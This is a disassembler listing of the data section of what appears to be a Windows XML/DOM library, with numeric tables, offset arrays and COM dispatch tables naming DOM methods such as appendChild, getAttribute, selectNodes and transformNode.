dd 7 dup(1E1E1E1Eh), 101E1E1Eh, 0Eh dup(1E1E1E1Eh), 10101E1Eh
dd 2 dup(1E1E1E1Eh), 101E1E1Eh, 1E1E1E10h, 1E1E1E1Eh, 1E1E101Eh
dd 0Ch dup(1E1E1E1Eh), 101E1E1Eh, 11h dup(1E1E1E1Eh), 2 dup(10101010h)
dd 1E1E1E10h, 8 dup(1E1E1E1Eh), 1010101Eh, 10101E1Eh, 1E1E1010h
dd 7 dup(1E1E1E1Eh), 0Eh dup(10101010h), 16h dup(1E1E1E1Eh)
dd 1010101Eh, 3 dup(10101010h), 1E101010h, 1E1E1E1Eh, 10101E1Eh
dd 3 dup(10101010h), 10101818h, 0Bh dup(10101010h), 11h dup(18181818h)
dd 10101818h, 6 dup(10101010h), 10101818h, 8 dup(10101010h)
dd 181E1010h, 101E1E1Eh, 1E1E101Eh, 4 dup(1E1E1E1Eh), 1E101E1Eh
dd 0Ah dup(1E1E1E1Eh), 101E1E1Eh, 1E1E1E1Eh, 101E1E1Eh
dd 101E1010h, 101E101Eh, 1E1E101Eh, 4 dup(1E1E1E1Eh), 3 dup(10101010h)
dd 1E1E1E10h, 2 dup(1E1E1E1Eh), 1E1E101Eh, 10h dup(1E1E1E1Eh)
dd 1E1E1E10h, 2 dup(1E1E1E1Eh), 1E1E101Eh, 8 dup(1E1E1E1Eh)
dd 18101E1Eh, 10181818h, 2 dup(10101010h), 0Dh dup(1E1E1E1Eh)
dd 2 dup(1E10101Eh), 1010101Eh, 7 dup(1E1E1E1Eh), 1E1E1010h
dd 1E1E1E1Eh, 2 dup(10101E1Eh), 0Dh dup(10101010h), 1E1E1E10h
dd 8 dup(1E1E1E1Eh), 101E1E1Eh, 10101E10h, 10101010h, 1E1E1E10h
dd 8 dup(1E1E1E1Eh), 101E1E1Eh, 2 dup(10101010h), 18181810h
dd 3 dup(18181818h), 18101818h, 5 dup(18181818h), 2 dup(18101818h)
dd 10181810h, 10101018h, 2 dup(10101010h), 6 dup(1E1E1E1Eh)
dd 101E1E1Eh, 10101010h, 101E1E1Eh, 0Bh dup(10101010h)
dd 1E1E1E10h, 5 dup(1E1E1E1Eh), 101E1E1Eh, 10101010h, 1E1E1E18h
dd 1E1E1E1Eh, 181E1E1Eh, 18181818h, 10181818h, 3 dup(10101010h)
dd 2 dup(18181818h), 10101818h, 10101010h, 1E1E1E18h, 11h dup(1E1E1E1Eh)
dd 1E1E1010h, 101E1E1Eh, 3 dup(1E1E1E1Eh), 101E1E1Eh, 1E1E1E1Eh
dd 18181E10h, 3 dup(18181818h), 181E1E18h, 18181018h, 10101818h
dd 2 dup(18181818h), 10101818h, 41h dup(10101010h), 18181810h
dd 1E1E1E10h, 0Ch dup(1E1E1E1Eh), 10101E1Eh, 18181E18h
dd 3 dup(18181818h), 10101818h, 18181810h, 10101018h, 2 dup(1E1E1E1Eh)
dd 18181E1Eh, 18181010h, 2 dup(18181818h), 4 dup(10101010h)
dd 18181810h, 1E1E1E10h, 1E1E1E1Eh, 2 dup(1E10101Eh), 5 dup(1E1E1E1Eh)
dd 1E1E101Eh, 1E1E1E1Eh, 101E101Eh, 1E1E1010h, 10101E1Eh
dd 18181018h, 18181818h, 2 dup(18101018h), 10101818h, 10101010h
dd 18101010h, 10101010h, 1E101E1Eh, 18181E1Eh, 18181010h
dd 2 dup(18181818h), 10101E1Eh, 3 dup(10101010h), 10181010h
dd 1E1E1E10h, 101E1E1Eh, 1E101010h, 1E10101Eh, 5 dup(1E1E1E1Eh)
dd 1E1E101Eh, 1E1E1E1Eh, 1E1E101Eh, 101E1E10h, 10101E1Eh
dd 18181018h, 10181818h, 18101010h, 18101018h, 10101818h
dd 2 dup(10101010h), 1E1E1E10h, 101E101Eh, 10101010h, 18181010h
dd 2 dup(18181818h), 1E1E1818h, 1010101Eh, 2 dup(10101010h)
dd 18181810h, 1E1E1E10h, 1E1E1E1Eh, 1E101E10h, 1E101E1Eh
dd 5 dup(1E1E1E1Eh), 1E1E101Eh, 1E1E1E1Eh, 1E1E101Eh, 1E1E1E10h
dd 10101E1Eh, 18181E18h, 18181818h, 2 dup(18101818h), 10101818h
dd 4 dup(10101010h), 1010101Eh, 18181010h, 2 dup(18181818h)
dd 4 dup(10101010h), 18181810h, 1E1E1E10h, 1E1E1E1Eh, 2 dup(1E10101Eh)
dd 5 dup(1E1E1E1Eh), 1E1E101Eh, 1E1E1E1Eh, 1E1E101Eh, 1E1E1010h
dd 10101E1Eh, 18181E18h, 18181818h, 18101010h, 18101018h
dd 10101818h, 10101010h, 18181010h, 10101010h, 1E101E1Eh
dd 10101E1Eh, 18181010h, 2 dup(18181818h), 4 dup(10101010h)
dd 18181010h, 1E1E1E10h, 101E1E1Eh, 1E1E1010h, 1E1E101Eh
dd 10101E1Eh, 101E1E10h, 1E1E101Eh, 1E101010h, 1010101Eh
dd 101E1E1Eh, 1E1E1010h, 1E1E1E1Eh, 1E101E1Eh, 10101E1Eh
dd 18181010h, 10181818h, 18181010h, 18181018h, 10101818h
dd 10101010h, 18101010h, 3 dup(10101010h), 18101010h, 2 dup(18181818h)
dd 4 dup(10101010h), 18181810h, 1E1E1E10h, 1E1E1E1Eh, 2 dup(1E1E101Eh)
dd 5 dup(1E1E1E1Eh), 1E1E101Eh, 2 dup(1E1E1E1Eh), 1E1E1E10h
dd 10101E1Eh, 18181010h, 18181818h, 2 dup(18181018h), 10101818h
dd 10101010h, 10181810h, 2 dup(10101010h), 10101E1Eh, 18181010h
dd 2 dup(18181818h), 4 dup(10101010h), 18181010h, 1E1E1E10h
dd 1E1E1E1Eh, 2 dup(1E1E101Eh), 5 dup(1E1E1E1Eh), 1E1E101Eh
dd 2 dup(1E1E1E1Eh), 1E1E1E10h, 10101E1Eh, 18181010h, 18181818h
dd 2 dup(18181018h), 10101818h, 10101010h, 10181810h, 10101010h
dd 101E1010h, 10101E1Eh, 18181010h, 2 dup(18181818h), 4 dup(10101010h)
dd 18181010h, 1E1E1E10h, 1E1E1E1Eh, 2 dup(1E1E101Eh), 5 dup(1E1E1E1Eh)
dd 1E1E101Eh, 3 dup(1E1E1E1Eh), 10101E1Eh, 18181010h, 18181818h
dd 18181010h, 18181018h, 10101818h, 10101010h, 18101010h
dd 2 dup(10101010h), 10101E1Eh, 18181010h, 2 dup(18181818h)
dd 24h dup(10101010h), 1E1E1E10h, 0Ah dup(1E1E1E1Eh), 101E1E1Eh
dd 1E1E181Eh, 18181818h, 10181818h, 10101010h, 1E1E1E1Eh
dd 18181E1Eh, 18181818h, 10181818h, 2 dup(18181818h), 10101818h
dd 9 dup(10101010h), 101E1E10h, 1E10101Eh, 101E101Eh, 10101E10h
dd 10101010h, 1E1E1E1Eh, 1E1E1E10h, 1E1E1E1Eh, 1E1E1E10h
dd 1E101E10h, 1E1E1010h, 101E1E10h, 1E1E181Eh, 18181818h
dd 18101818h, 10101E18h, 1E1E1E1Eh, 1018101Eh, 18181818h
dd 10101818h, 2 dup(18181818h), 10101818h, 0Fh dup(10101010h)
dd 10101818h, 10101010h, 2 dup(18181818h), 10101818h, 2 dup(10101010h)
dd 18101810h, 10101810h, 18181010h, 2 dup(1E1E1E1Eh), 1E1E1E10h
dd 7 dup(1E1E1E1Eh), 10101E1Eh, 10101010h, 18181810h, 4 dup(18181818h)
dd 18181018h, 18181818h, 10101010h, 18181818h, 18101818h
dd 18181810h, 4 dup(18181818h), 10101818h, 18181810h, 18181818h
dd 10101810h, 39h dup(10101010h), 9 dup(1E1E1E1Eh), 10101E1Eh
dd 2 dup(10101010h), 9 dup(1E1E1E1Eh), 101E1E1Eh, 2 dup(10101010h)
dd 1E1E101Eh, 1E1E1E10h, 1E101E10h, 1E1E101Eh, 101E1E1Eh
dd 0Ah dup(10101010h), 101E101Eh, 1010101Eh, 2 dup(10101010h)
dd 101E101Eh, 1010101Eh, 10101E1Eh, 10101E10h, 1E101010h
dd 1E101E1Eh, 1E101E10h, 10101E10h, 101E1E10h, 1E1E1010h
dd 10101E10h, 9 dup(10101010h), 101E1010h, 2 dup(10101010h)
dd 1E10101Eh, 1E1E1010h, 10101010h, 1E101010h, 101E101Eh
dd 1E1E1E1Eh, 101E1E1Eh, 9 dup(10101010h), 1E101010h, 10101010h
dd 1010101Eh, 10101010h, 10101E10h, 10101010h, 27h dup(1E1E1E1Eh)
dd 10101010h, 16h dup(1E1E1E1Eh), 10101E1Eh, 10101010h
dd 5 dup(1E1E1E1Eh), 10101E1Eh, 1E1E1E1Eh, 10101E1Eh, 9 dup(1E1E1E1Eh)
dd 10101E1Eh, 1E1E1E1Eh, 10101E1Eh, 2 dup(1E1E1E1Eh), 2 dup(1E101E10h)
dd 7 dup(1E1E1E1Eh), 10101E1Eh, 0Dh dup(1E1E1E1Eh), 1E1E101Eh
dd 1E1E1E1Eh, 101E101Eh, 1E1E1010h, 1E1E101Eh, 1E1E1E1Eh
dd 1010101Eh, 1E1E1E1Eh, 1E1E1010h, 1E1E1E1Eh, 10101010h
dd 3 dup(1E1E1E1Eh), 1010101Eh, 1E1E1010h, 1E1E101Eh, 1E1E1E1Eh
dd 1010101Eh, 34h dup(10101010h), 3 dup(18181818h), 10101018h
dd 10101810h, 10h dup(10101010h), 101E1010h, 1E1E1010h
dd 101E1010h, 14h dup(10101010h), 101E1E1Eh, 20h dup(10101010h)
dd 1E101810h, 6 dup(10101010h), 1E1E1E10h, 1E1E1E1Eh, 18181E1Eh
dd 18181818h, 18181810h, 10101818h, 2 dup(10101010h), 1E1E1E10h
dd 14h dup(1E1E1E1Eh), 1010101Eh, 2 dup(10181810h), 1E1E1E10h
dd 15h dup(1E1E1E1Eh), 101E1E1Eh, 10181818h, 10101010h
dd 1E1E1E10h, 9 dup(1E1E1E1Eh), 1010101Eh, 34h dup(10101010h)
dd 69h dup(1E1E1E1Eh), 10101E1Eh, 16h dup(10101010h), 29h dup(1E1E1E1Eh)
dd 17h dup(10101010h), 40h dup(0)
dword_69B97F30 dd 3Fh dup(10101010h), 1010hoff_69B98030 dd offset dword_69B96430 ; DATA XREF: sub_69B2ECB4+Ar
; sub_69B31914+Ar ...
dd offset dword_69B96450+0E0h
dd offset dword_69B96450+1E0h
dd offset dword_69B96450+2E0h
dd offset dword_69B96450+3E0h
dd offset dword_69B96450+4E0h
dd offset dword_69B96450+5E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+7E0h
dd offset dword_69B96450+8E0h
dd offset dword_69B96450+9E0h
dd offset dword_69B96450+0AE0h
dd offset dword_69B96450+0BE0h
dd offset dword_69B96450+0CE0h
dd offset dword_69B96450+0DE0h
dd offset dword_69B96450+0EE0h
dd offset dword_69B96450+0FE0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+10E0h
dd offset dword_69B96450+11E0h
dd offset dword_69B96450+12E0h
dd offset dword_69B96450+13E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+14E0h
dd offset dword_69B96450+15E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+17E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+16E0h
dd offset dword_69B96450+18E0h
dd offset dword_69B96450+19E0h
dd offset dword_69B96450+19E0h
dd offset dword_69B96450+19E0h
dd offset dword_69B96450+19E0h
dd offset dword_69B96450+19E0h
dd offset dword_69B96450+19E0h
dd offset dword_69B96450+19E0h
dd offset dword_69B96450+19E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B96450+6E0h
dd offset dword_69B97F30
off_69B98430 dd offset aCdata_3 ; DATA XREF: sub_69B33C72+193r
; "CDATA"
off_69B98434 dd offset aUcs4 ; DATA XREF: sub_69B360BA+111r
; "UCS-4"
off_69B98438 dd offset aUcs2 ; DATA XREF: sub_69B360BA+CDr
; "UCS-2"
off_69B9843C dd offset aUtf7 ; DATA XREF: sub_69B360BA+8Ar
; "UTF-7"
; LPCWSTR lpStr2
lpStr2 dd offset aTextXml_0 ; DATA XREF: sub_69B36309+Cr
; "text/xml"
dword_69B98444 dd 0 ; sub_69B39BE2+22r
dword_69B98448 dd 2, 1, 3, 9 off_69B98458 dd offset dword_69B25E54 ; DATA XREF: .data:69B98484o
off_69B9845C dd offset aCreateprocesso ; DATA XREF: .data:69B984ACo
; "createProcessor"
dd 3, 3 dup(0)
dd 30009h
dd offset aStylesheet_0 ; "stylesheet"
dd 2, 1
dd offset dword_69B98448+0Ch
dd offset off_69B98458
dword_69B98488 dd 0A0009h, 2, 1, 3, 0dword_69B9849C dd 0 ; sub_69B3BAE4+Eo ...
off_69B984A0 dd offset dword_69B25D14+10h ; DATA XREF: sub_69B3BA34+Ar
dd offset libID
dd 1
dd offset off_69B9845C
dd 2
dd offset dword_69B98488+4
dd 2
dd offset sub_69B3B35C
dword_69B984C0 dd 0 ; sub_69B3C2E1+20o ...
off_69B984C4 dd offset dword_69B25E24 ; DATA XREF: sub_69B3CAA7+Ar
dd offset libID
dd 1, 6 dup(0)
dword_69B984E8 dd 1 ; sub_69B4122C+32r ...
dword_69B984EC dd 3, 8, 9, 0Ah, 7, 4, 6, 0Ch, 0FFFFFFFFh, 7, 5, 3, 2 dup(0FFFFFFFFh)
dd 2, 0FFFFFFFFh, 0Bh, 7, 8, 0C0008h, 2 dup(8), 2 dup(9)
dd 8
off_69B98550 dd offset dword_69B25DE4 ; DATA XREF: .data:69B98610o
off_69B98554 dd offset dword_69B25DE4 ; DATA XREF: .data:69B985E0o
off_69B98558 dd offset aGetattribute ; DATA XREF: .data:69B98B08o
; "getAttribute"
dd 63h, 1
dd offset dword_69B984EC+48h
dd 0
dd 1000Ch
dd offset aGetattributeno ; "getAttributeNode"
dd 66h, 1
dd offset dword_69B984EC+54h
dd 0
dd 10009h
dd offset aGetelementsbyt ; "getElementsByTagName"
dd 69h, 1
dd offset dword_69B984EC+60h
dd 0
dd 10009h
dd offset aNormalize ; "normalize"
dd 6Ah, 3 dup(0)
dd 3000Ah
dd offset aRemoveattrib_0 ; "removeAttribute"
dd 65h, 1
dd offset dword_69B984EC+50h
dd 0
dd 1000Ah
dd offset aRemoveattribut ; "removeAttributeNode"
dd 68h, 1
dd offset dword_69B984EC+5Ch
dd offset off_69B98554
dd 10009h
dd offset aSetattribute ; "setAttribute"
dd 64h, 2
dd offset dword_69B984EC+4Ch
dd 0
dd 1000Ah
dd offset aSetattributeno ; "setAttributeNode"
dd 67h, 1
dd offset dword_69B984EC+58h
dd offset off_69B98550
dd 10009h
dd offset aTagname ; "tagName"
dd 61h, 3 dup(0)
dword_69B9862C dd 20008h, 61h, 8, 63h, 0dword_69B98640 dd 64h, 6, 65h, 4, 66h, 1, 67h, 7, 68h, 5, 69h, 2, 6Ah
dd 3, 9, 0Bh, 8, 0C0009h, 2 dup(0Ch), 90009h, 9, 3 dup(8)
dd 9, 0C0009h
off_69B986AC dd offset dword_69B25E54 ; DATA XREF: .data:69B986E0o
off_69B986B0 dd offset dword_69B25E54 ; DATA XREF: .data:69B987B8o
align 8
off_69B986B8 dd offset dword_69B25E54 ; DATA XREF: .data:69B98920o
dd offset dword_69B25E54
off_69B986C0 dd offset dword_69B25E54 ; DATA XREF: .data:69B98908o
off_69B986C4 dd offset dword_69B25E54 ; DATA XREF: .data:69B98998o
off_69B986C8 dd offset dword_69B25E54 ; DATA XREF: .data:69B989B0o
align 10h
off_69B986D0 dd offset aAppendchild ; DATA XREF: sub_69B4107B+22o
; sub_69B410FA+30o ...
; "appendChild"
dd 10h, 1
dd offset dword_69B98640+38h
dd offset off_69B986AC
dd 10009h
dd offset aAttributes ; "attributes"
dd 0Ch, 3 dup(0)
dd 20009h
dd offset aBasename ; "baseName"
dd 22h, 3 dup(0)
dd 20008h
dd offset aChildnodes ; "childNodes"
dd 7, 3 dup(0)
dd 20009h
dd offset aClonenode ; "cloneNode"
dd 13h, 1
dd offset dword_69B98640+3Ch
dd 0
dd 10009h
dd offset aDatatype_0 ; "dataType"
dd 1Ah, 1
dd offset dword_69B98640+40h
dd 0
dd 6000Ch
dd offset aDefinition ; "definition"
dd 17h, 3 dup(0)
dd 20009h
dd offset aFirstchild ; "firstChild"
dd 8, 3 dup(0)
dd 20009h
dd offset aHaschildnodes ; "hasChildNodes"
dd 11h, 3 dup(0)
dd 3000Bh
dd offset aInsertbefore ; "insertBefore"
dd 0Dh, 2
dd offset dword_69B98640+44h
dd offset off_69B986B0
dd 10009h
dd offset aLastchild ; "lastChild"
dd 9, 3 dup(0)
dd 20009h
dd offset aNamespaceuri ; "namespaceURI"
dd 20h, 3 dup(0)
dd 20008h
dd offset aNextsibling ; "nextSibling"
dd 0Bh, 3 dup(0)
dd 20009h
dd offset aNodename ; "nodeName"
dd 2, 3 dup(0)
dd 20008h
dd offset aNodetype ; "nodeType"
dd 4, 3 dup(0)
dd 20003h
dd offset aNodetypedvalue ; "nodeTypedValue"
dd 19h, 1
dd offset dword_69B98640+48h
dd 0
dd 6000Ch
dd offset aNodetypestring ; "nodeTypeString"
dd 15h, 3 dup(0)
dd 20008h
dd offset aNodevalue ; "nodeValue"
dd 3, 1
dd offset dword_69B98640+4Ch
dd 0
dd 6000Ch
dd offset aOwnerdocument ; "ownerDocument"
dd 12h, 3 dup(0)
dd 20009h
dd offset aParentnode ; "parentNode"
dd 6, 3 dup(0)
dd 20009h
dd offset aParsed ; "parsed"
dd 1Fh, 3 dup(0)
dd 2000Bh
dd offset aPrefix ; "prefix"
dd 21h, 3 dup(0)
dd 20008h
dd offset aPrevioussiblin ; "previousSibling"
dd 0Ah, 3 dup(0)
dd 20009h
dd offset aRemovechild ; "removeChild"
dd 0Fh, 1
dd offset dword_69B98640+54h
dd offset off_69B986C0
dd 10009h
dd offset aReplacechild ; "replaceChild"
dd 0Eh, 2
dd offset dword_69B98640+50h
dd offset off_69B986B8
dd 10009h
dd offset aSelectnodes ; "selectNodes"
dd 1Dh, 1
dd offset dword_69B98640+58h
dd 0
dd 10009h
dd offset aSelectsingleno ; "selectSingleNode"
dd 1Eh, 1
dd offset dword_69B98640+5Ch
dd 0
dd 10009h
dd offset aSpecified ; "specified"
dd 16h, 3 dup(0)
dd 2000Bh
dd offset aText ; "text"
dd 18h, 1
dd offset dword_69B98640+60h
dd 0
dd 60008h
dd offset aTransformnode ; "transformNode"
dd 1Ch, 1
dd offset dword_69B98640+64h
dd offset off_69B986C4
dd 10008h
dd offset aTransformnodet ; "transformNodeToObject"
dd 23h, 2
dd offset dword_69B98640+68h
dd offset off_69B986C8
dd 1000Ah
dd offset aXml ; "xml"
dd 1Bh, 3 dup(0)
dword_69B989CC dd 20008h, 2, 0Dh, 3, 11h, 4, 0Eh, 6, 13h, 7, 3, 8, 7
; DATA XREF: .data:69B98AECo
dd 9, 2 dup(0Ah), 16h, 0Bh, 2 dup(0Ch), 1, 0Dh, 9, 0Eh
dd 18h, 0Fh, 17h, 10h, 0
dd 11h, 8, 2 dup(12h), 13h, 4, 15h, 10h, 16h, 1Bh, 17h
dd 6, 18h, 1Ch, 19h, 0Fh, 1Ah, 5, 1Bh, 1Fh, 1Ch, 2 dup(1Dh)
dd 19h, 1Eh, 1Ah, 1Fh, 14h, 20h, 0Bh, 21h, 15h, 22h, 2
dd 23h, 1Eh
byte_69B98AD0 db 20h ; DATA XREF: sub_69B56828+3Cr
; sub_69B56F58+4Cr
align 4
dword_69B98AD4 dd 0 ; sub_69B41180+8Eo ...
off_69B98AD8 dd offset dword_69B25E54 ; DATA XREF: sub_69B40DD4+Er
dd offset libID
dd 1
dd offset off_69B986D0
dd 20h
dd offset dword_69B989CC+4
dd 20h
dd offset sub_69B3FEAD
; int dword_69B98AF8
dword_69B98AF8 dd 0 ; sub_69B410FA+57o ...
dd offset dword_69B25DD4
dd offset libID
dd 1
dd offset off_69B98558
dd 9
dd offset dword_69B9862C+4
dd 9
dd offset sub_69B3FD3B
dd offset sub_69B6C9EA
dd 0
dd offset dword_69B25DC4
dd offset libID
dd 1, 5 dup(0)
dd offset sub_69B3FCDB
dd 0
dd offset dword_69B25DB4
dd offset libID
dd 1, 5 dup(0)
dd offset sub_69B3FCAB
dd 0Bh dup(0)
dd offset dword_69B25D84
dd offset libID
dd 1, 5 dup(0)
dd offset sub_69B3FCBB
dd 0
dd offset dword_69B25DA4
dd offset libID
dd 1, 5 dup(0)
dd offset sub_69B3FCCB
dd 0
dd offset dword_69B25D94
dd offset libID
dd 1, 5 dup(0)
dd offset sub_69B3FCDB
dd 0
dd offset dword_69B25D64
dd offset libID
dd 1, 5 dup(0)
dd offset sub_69B3FCEB
dd 0
dd offset dword_69B25D74
dd offset libID
dd 1, 5 dup(0)
dd offset sub_69B3FD0B
dd 0Bh dup(0)
dd offset dword_69B25DA4
dd offset libID
dd 1, 5 dup(0)
dd offset sub_69B3FCCB
dd 0
dd offset dword_69B25D54
dd offset libID
dd 1, 5 dup(0)
dd offset sub_69B3FCFB
dd 1Fh dup(0)
dd offset dword_69B25DE4
dd offset libID
dd 1, 5 dup(0)
dd offset sub_69B3FD1B
dd 0Bh dup(0)
dd offset dword_69B25E44
dd offset libID
dd 1, 5 dup(0)
dd offset sub_69B3FD2B
dd 0
dd offset dword_69B25DA4
dd offset libID
dd 1, 5 dup(0)
dd offset sub_69B3FCCB
; OLECHAR *off_69B98DF0
off_69B98DF0 dd offset a_unknowntype ; DATA XREF: sub_69B42F64+59r
; "_unknownType"
dd offset aElement ; "element"
dd offset aAttribute ; "attribute"
dd offset aText ; "text"
dd offset aCdatasection ; "cdatasection"
dd offset aEntityreferenc ; "entityreference"
dd offset aEntity_0 ; "entity"
dd offset aProcessinginst ; "processinginstruction"
dd offset aComment ; "comment"
dd offset aDocument_0 ; "document"
dd offset aDocumenttype ; "documenttype"
dd offset aDocumentfragme ; "documentfragment"
dd offset aNotation_0 ; "notation"
dword_69B98E24 dd 3 off_69B98E28 dd offset aItem ; DATA XREF: .data:69B98ED8o
; "item"
align 10h
dd 1
dd offset dword_69B98E24
dd 0
dd 30009h
dd offset aLength ; "length"
dd 4Ah, 3 dup(0)
dd 20003h
dd offset aNextnode ; "nextNode"
dd 4Ch, 3 dup(0)
dd 30009h
dd offset aReset ; "reset"
dd 4Dh, 3 dup(0)
dd 3000Ah
dd offset a_newenum ; "_newEnum"
dd 0FFFFFFFCh, 3 dup(0)
dword_69B98E9C dd 3000Dh, 0FFFFFFFCh, 4, 2 dup(0) dd 4Ah, 1, 4Ch, 2, 4Dh, 3
dword_69B98EC8 dd 0 ; .text:69B43ACBo ...
